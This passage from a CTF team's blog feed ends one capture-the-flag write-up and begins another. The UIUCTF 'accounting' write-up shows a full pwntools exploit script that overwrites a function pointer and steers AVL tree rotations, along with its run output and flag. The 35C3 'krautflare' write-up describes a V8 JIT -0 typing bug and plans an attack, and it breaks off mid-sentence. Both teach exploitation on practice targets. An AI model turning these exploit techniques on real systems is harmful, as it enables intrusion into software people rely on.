&lt;span class=&quot;n&quot;&gt;Airplane&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Ticket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ATM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Repairs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I then inserted the same nodes in order to &lt;a href=&quot;https://visualgo.net/bn/bst&quot;&gt;VisuAlgo&lt;/a&gt; (click on the AVL tree button on the header), which is a great website for visualizing algorithms and data structures.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/writeups/accounting_accident_avl_2.png&quot; alt=&quot;AVL tree after insertion&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see that the above picture has 2 and 1 when taking only left subtrees, and 30, 40, and 50 when only taking the right subtrees, just as what was being output by the binary. Nice!&lt;/p&gt;

&lt;p&gt;So now, our final challenge is to insert four nodes such that the node with our payload that has value 0x19=25 ends up at the root.&lt;/p&gt;

&lt;p&gt;The tree initially before any of our custom nodes are inserted looks like the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/writeups/accounting_accident_avl_3.png&quot; alt=&quot;AVL tree after insertion, 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For 25 to be the root, intuition tells us that we need to make the left part of the tree heavier and eventually force node 25 to bubble up. The way we’ll do this, however, is not so intuitive. We first want to force 25 to make a rotation upwards. This can be done by giving it more children. We insert nodes with values 26 and 27:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/writeups/accounting_accident_avl_4.png&quot; alt=&quot;AVL tree after insertion, 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;“WHATTT?!”, I hear you say. Did we just make things worse, since node 25 is in an even lower position now?&lt;/p&gt;

&lt;p&gt;This is the unintuitive part, because what we were really doing is to give some nodes to the right subtree of 20. Now, we insert node 21, which forces the node at 20 to undergo a rotation:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/writeups/accounting_accident_avl_5.png&quot; alt=&quot;AVL tree after insertion, 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we have node 25 at a rather sweet spot. Finally, let’s cause a rotation at 30 by causing one of its child to increase in height. We can grow the height of the subtree rooted at 20 by either adding something less than 10, or something between 21 or 25. Let’s go with adding 22:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/writeups/accounting_accident_avl_6.png&quot; alt=&quot;AVL tree after insertion, 4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We did it!&lt;/p&gt;

&lt;h3 id=&quot;full-exploit&quot;&gt;Full Exploit&lt;/h3&gt;
&lt;p&gt;The full exploit script is given below:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;elf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ELF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;./accounting&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;elf&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;terminal&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kitty&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;REMOTE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;chal.uiuc.tf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2001&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;elf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;# Note that each of the recv steps can take a while to run,
&lt;/span&gt;    &lt;span class=&quot;cp&quot;&gt;# because of the fancy printing. It is not frozen!
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;leak&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;cp&quot;&gt;# Leak print_flag address
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;flag_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leak&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;print_flag address: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

    &lt;span class=&quot;cp&quot;&gt;# Overflow exploit
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Item: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;exp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;exp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;cp&quot;&gt;# First price input
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Shrub Trimming Cost: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;cp&quot;&gt;# Second price input
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Raymond Hush $$ Cost: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;cp&quot;&gt;# Third price input
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Town Hall Food Cost: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;cp&quot;&gt;# Last price input
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;New Wall Art Cost: &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;22&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Running the exploit script against the challenge server:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;➜  accounting python solve.py REMOTE
[+] Opening connection to chal.uiuc.tf on port 2001: Done
b'[NookAccounting]: Booting up Fancy Laser Accounting Generator (F.L.A.G.) at {'
print_flag address:  0x8048878
b'\n[NookAccounting]: Added &quot;Apples&quot; with cost of 10 bells to accounting spreadsheet.\n[NookAccounting]: Added &quot;Fancy Seashells&quot; with cost of 20 bells to accounting spreadsheet.\n[NookAccounting]: Added &quot;Tom Nook Shirts&quot; with cost of 30 bells to accounting spreadsheet.\n[NookAccounting]: Added &quot;Airplane Ticket&quot; with cost of 40 bells to accounting spreadsheet.\n[NookAccounting]: Added &quot;ATM Repairs&quot; with cost of 50 bells to accounting spreadsheet.\n[Isabelle]: Oh no! I cant seem to find what this item is, but it cost 25 bells, what is it?\nItem: '
b'[Isabelle]: Ohmygosh! Thank you for remembering! Now I can get back to work!\n[NookAccounting]: Added &quot;AAAAAAAAAAAAAAA&quot; with cost of 25 bells to accounting spreadsheet.\n\n[Isabelle]: Ohmyheck! I dont know how much &quot;Shrub Trimming&quot; costs. Can you tell me?\nShrub Trimming Cost: '
b'[NookAccounting]: Added &quot;Shrub Trimming&quot; with cost of 26 bells to accounting spreadsheet.\n\n\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accounting system now\n[Isabelle]: Ohmyheck! I dont know how much &quot;Raymond Hush $$&quot; costs. Can you tell me?\nRaymond Hush $$ Cost: '
b'[NookAccounting]: Added &quot;Raymond Hush $$&quot; with cost of 27 bells to accounting spreadsheet.\n\n\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accounting system now\n[Isabelle]: Ohmyheck! I dont know how much &quot;Town Hall Food&quot; costs. Can you tell me?\nTown Hall Food Cost: '
b'[NookAccounting]: Added &quot;Town Hall Food&quot; with cost of 21 bells to accounting spreadsheet.\n\n\n[Isabelle]: Thank you so much! You\'re the best, I added it to the accounting system now\n[Isabelle]: Ohmyheck! I dont know how much &quot;New Wall Art&quot; costs. Can you tell me?\nNew Wall Art Cost: '
[*] Switching to interactive mode
[NookAccounting]: Added &quot;New Wall Art&quot; with cost of 22 bells to accounting spreadsheet.


[Isabelle]: Thank you so much! You're the best, I added it to the accounting system now
[Isabelle]: Okay thank you so much! I'll run the accounting software at address 0x8048878
uiuctf{1s@beLl3_do3sNt_r3@l1y_d0_MuCh_!n_aCnH}&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And just like that we get our flag!&lt;/p&gt;

&lt;h3 id=&quot;flavortext&quot;&gt;Flavortext&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Isabelle is working on billing sheets for the end of the month, and she needs to move things into her Accounting Very Large accounting system. Can you help her finish her billing?!&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        <pubDate>Wed, 22 Jul 2020 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2020/07/22/UIUCTF20-accounting-accidents/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2020/07/22/UIUCTF20-accounting-accidents/</guid>
      </item>
    
      <item>
        <title>Back and Blogier than Ever!</title>
        <description>&lt;p&gt;To celebrate the 10th anniversary of PPP, and the 9th ever PlaidCTF, we’re happy to announce a new official website and blog. In addition to hosting information about the team — such as sponsors, events, and updates — we will begin migrating our published write-ups from our &lt;a href=&quot;https://github.com/pwning/public-writeup&quot;&gt;github repository&lt;/a&gt; to this blog.&lt;/p&gt;
</description>
        <pubDate>Sat, 06 Apr 2019 00:00:00 +0000</pubDate>
        <link>https://pwning.net/general%20news/2019/04/06/back-in-action/</link>
        <guid isPermaLink="true">https://pwning.net/general%20news/2019/04/06/back-in-action/</guid>
      </item>
    
      <item>
        <title>Krautflare</title>
        <description>&lt;p&gt;This is a write-up for &lt;strong&gt;krautflare&lt;/strong&gt; challenge, a browser pwnable challenge from &lt;a href=&quot;https://ctftime.org/event/718&quot;&gt;35c3ctf&lt;/a&gt;. &lt;em&gt;You can also read from the &lt;a href=&quot;https://www.jaybosamiya.com/blog/2019/01/02/krautflare/&quot;&gt;original post&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;center&gt;
	&lt;img src=&quot;https://www.jaybosamiya.com/public/images/v8-plusminus-0.png&quot; width=&quot;100%&quot; /&gt;
&lt;/center&gt;

&lt;p&gt;In this challenge, we had to obtain remote code execution, simply by
exploiting a 1-day bug that forgot the difference between -0 and
+0. This has probably been one of the most difficult, fun, and
frustrating bugs I have ever exploited.&lt;/p&gt;

&lt;p&gt;As someone who has never exploited a JavaScript engine vulnerability
ever before, this challenge was a journey, filled with tons of ups and
downs. I had an approximate idea of what might be involved, since I
had recently started looking into &lt;a href=&quot;https://en.wikipedia.org/wiki/Chrome_V8&quot;&gt;Chrome
V8&lt;/a&gt; to try to find some 0-day
vulnerabilities (and I succeeded! more on this in a future blog post),
but I had never actually written an exploit ever, so I thought this
challenge (which involves writing a 1-day exploit) might be an
interesting one to solve, which will help me understand v8 internals
much better too.&lt;/p&gt;

&lt;p&gt;Some quick stats: 35C3 CTF lasted a total of 48 hours, and this
challenge had a total of 3 solves by the end of the CTF. The challenge
was thus worth (due to dynamic scoring) 451 points. I spent
practically the entire CTF on this challenge (minus a couple of hours
of sleep), and solved it ~1.5 hours before the CTF ended.&lt;/p&gt;

&lt;p&gt;I have split this writeup into multiple sections. Depending on your
level of experience with v8 and this challenge, please feel free to
jump ahead (or directly read the annotated exploit code
&lt;a href=&quot;https://www.jaybosamiya.com/blog/2019/01/02/krautflare/exploit.js&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;

&lt;h2 id=&quot;the-challenge&quot;&gt;The Challenge&lt;/h2&gt;

&lt;p&gt;The challenge had the following description:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Krautflare workers are the newest breakthrough in serverless
computing. And since we’re taking security very seriously, we’re
even isolating customer workloads from each other!&lt;/p&gt;

  &lt;p&gt;For our demo, we added an ancient v8 vulnerability to show that it’s
un-exploitable! See
&lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&quot;&gt;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&lt;/a&gt;
for details. Fortunately, that was the last vulnerability in v8 and
our product will be secure from now on.&lt;/p&gt;

  &lt;p&gt;Files at
&lt;a href=&quot;https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar&quot;&gt;https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar&lt;/a&gt;.
Challenge at: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc 35.246.172.142 1&lt;/code&gt;&lt;/p&gt;

  &lt;p&gt;Note: This challenge is hard! It’s made for all the people who asked
for a hard Chrome pwnable in this survey at
&lt;a href=&quot;https://twitter.com/_tsuro/status/1057676059586560000&quot;&gt;https://twitter.com/_tsuro/status/1057676059586560000&lt;/a&gt;. Though
the bug linked above gives you a rough walkthrough how to exploit
it, you’ll just have to figure out the details. I hope you paid
attention in your compiler lectures :). Good luck, you have been
warned!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In case the challenge files are taken down, you can find a copy of the
provided challenge files
&lt;a href=&quot;https://www.jaybosamiya.com/blog/2019/01/02/krautflare/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;understanding-the-bug&quot;&gt;Understanding the Bug&lt;/h2&gt;

&lt;p&gt;The explanation of the bug on the &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&quot;&gt;project
zero&lt;/a&gt;
link is useful. It tells us that the “typer” (which is a part of the
v8 JIT) misses the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-0&lt;/code&gt; when using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Math.expm1&lt;/code&gt;. If we look at
&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/expm1&quot;&gt;MDN for this
function&lt;/a&gt;,
we see that the functions returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e^x - 1&lt;/code&gt;. Since we are working with
JavaScript, all numbers are double precision floating point numbers,
following the &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE_754&quot;&gt;IEEE 754&lt;/a&gt;
standard. Within this, there exist two zeros (known as &lt;a href=&quot;https://en.wikipedia.org/wiki/Signed_zero&quot;&gt;Signed
Zeros&lt;/a&gt;): &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+0&lt;/code&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-0&lt;/code&gt;. Both act almost exactly the same, except under very specific
circumstances. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Math.expm1&lt;/code&gt; is one of them. In particular,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Math.expm1(+0) == +0&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Math.expm1(-0) == -0&lt;/code&gt;. This operation
seems to be performed correctly by v8, however, the typer (which is
used to perform optimizations) seems to forget this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-0&lt;/code&gt; case.&lt;/p&gt;

&lt;p&gt;The project zero link lists a simple test case that we can use to
quickly verify if the provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt; binary (which is a standalone
executable, which can be used for v8), has the bug. Unfortunately, the
bug is not triggered. We’ll explore this soon.&lt;/p&gt;

&lt;p&gt;We also have a better look around everything else that is provided to
us, and while most of it is boilerplate code, it is important to note
that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d8&lt;/code&gt; binary provided to us is a release binary, and that will
make it difficult to easily to develop an exploit. Thankfully, we are
provided a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;build_v8.sh&lt;/code&gt; script, which we can modify and build our own
debug version (by simply changing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x64.release&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x64.debug&lt;/code&gt; and
running it).&lt;/p&gt;

&lt;p&gt;For most of the exploitation from this point forward, I used this
newly built debug build, switching back once in a while to check if
what I have works as expected even on the release build.&lt;/p&gt;

&lt;p&gt;For more background on understanding JIT bugs, especially if you are
not used to v8 or other JS engines, I would strongly recommend looking at the Blackhat
2018 talk by Samuel Groß (&lt;a href=&quot;https://twitter.com/5aelo&quot;&gt;@5aelo&lt;/a&gt;) titled
&lt;a href=&quot;https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf&quot;&gt;“Attacking Client-Side JIT
Compilers”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For more background on the v8 JIT (aka TurboFan), I would recommend
reading its &lt;a href=&quot;https://v8.dev/docs/turbofan&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;approximate-plan-of-attack&quot;&gt;Approximate Plan of Attack&lt;/h2&gt;

&lt;p&gt;As explained on the &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/detail?id=1710&quot;&gt;project zero
link&lt;/a&gt;,
we will need to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Object.is&lt;/code&gt; to differentiate between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-0&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+0&lt;/code&gt;
once we have triggered the bug. Neither division, nor &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Math.atan2&lt;/code&gt; are
going to be useful for us. In addition to this, we need to prevent the
bug from being triggered in two phases of the compiler pipeline, and
then have it triggered in the third phase. In particular, we need to
